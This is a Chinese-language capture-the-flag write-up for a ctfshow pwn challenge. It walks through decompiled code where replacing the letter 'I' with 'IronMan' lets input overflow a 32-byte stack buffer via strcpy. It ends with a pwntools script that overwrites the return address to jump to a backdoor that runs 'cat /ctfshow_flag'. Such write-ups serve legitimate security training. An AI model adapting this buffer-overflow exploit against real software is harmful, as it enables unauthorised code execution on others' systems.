memset(s, 0, sizeof(s)); puts("Who are you?"); read(0, s, 0x20u); std::string::operator=(&obj__0, &unk_804A350); std::string::operator+=(&obj__0, s); std::string::basic_string(v10, &obj__1); std::string::basic_string(v11, &obj__0); split_func(v8); std::string::~string(v11, v11, v10); std::string::~string(v10, v6, v7); if ( sub_80496D6(v8) > 1u ) { std::string::operator=(&obj__0, &unk_804A350); v0 = sub_8049700(v8, 0); if ( (unsigned __int8)sub_8049722(v0, &unk_804A350) ) { v1 = sub_8049700(v8, 0); std::string::operator+=(&obj__0, v1); } for ( i = 1; ; ++i ) { i_1 = sub_80496D6(v8); if ( i_1 <= i ) break; std::string::operator+=(&obj__0, "IronMan"); v3 = sub_8049700(v8, i); std::string::operator+=(&obj__0, v3); } } src = (const char *)std::string::c_str(&obj__0); strcpy(s, src); printf("Wow!you are:%s", s); return sub_8049616(v8); }
|
大致意思是某个字符会被代替为IronMan
1 2 3 4
| int bkdoor() { return system("cat /ctfshow_flag"); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| int __userpurge split_func@<eax>(int a1, int a2, int a3) { int v3; int v5; int i_1; _BYTE v7[24]; unsigned int i_3; int i_2; int i;
sub_80495F4(a1); std::string::operator+=(a2, a3); i_2 = std::string::size(a2); for ( i = 0; i < i_2; ++i ) { i_3 = std::string::find(a2, a3, i); if ( i_3 < i_2 ) { i_1 = i; std::string::substr(v7); sub_8049662(a1, v7); v3 = std::string::size(a3); i = v3 + i_3 - 1; std::string::~string(v7, v5, i_1); } } return a1; }
|
这里就可以找一找那个字符作为分割:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| int __cdecl replacement_letter_func(int a1, int n0xFFFF) { int result; _DWORD v3[6];
if ( a1 == 1 && n0xFFFF == 0xFFFF ) { std::ios_base::Init::Init((std::ios_base::Init *)&obj_); __cxa_atexit((void (*)(void *))&std::ios_base::Init::~Init, &obj_, &lpdso_handle_); std::string::basic_string(&obj__0); __cxa_atexit((void (*)(void *))&std::string::~string, &obj__0, &lpdso_handle_); std::allocator<char>::allocator(v3); std::string::basic_string(&obj__1, "I", v3); std::allocator<char>::~allocator(v3); return __cxa_atexit((void (*)(void *))&std::string::~string, &obj__1, &lpdso_handle_); } return result; }
|
发现是I字符被替换
1 2 3
| replacement_letter_func (sub_804948A) └──> std::string::basic_string(&obj__1, "I", v3) └──> 全局变量 unk_804D0B8 = "I" (分隔符)
|
好我们回到溢出函数中的溢出部分:
1 2 3 4 5 6
| char s[32];
...
src = (const char *)std::string::c_str(&obj__0); strcpy(s, src);
|
这么来看就是在分割替换之后才能完成栈溢出
所以payload如下
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import * elf = ELF(r"E:\CTF\pwn学习\CTFSHOW\51\pwn") # elf = ELF(r"/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/51/pwn")
p = remote('pwn.challenge.ctf.show', 28252)
offset = 16 backdoor = 0x804902E payload = offset*b"I"+p32(backdoor)
p.sendlineafter(b"Who are you?", payload) p.interactive()
|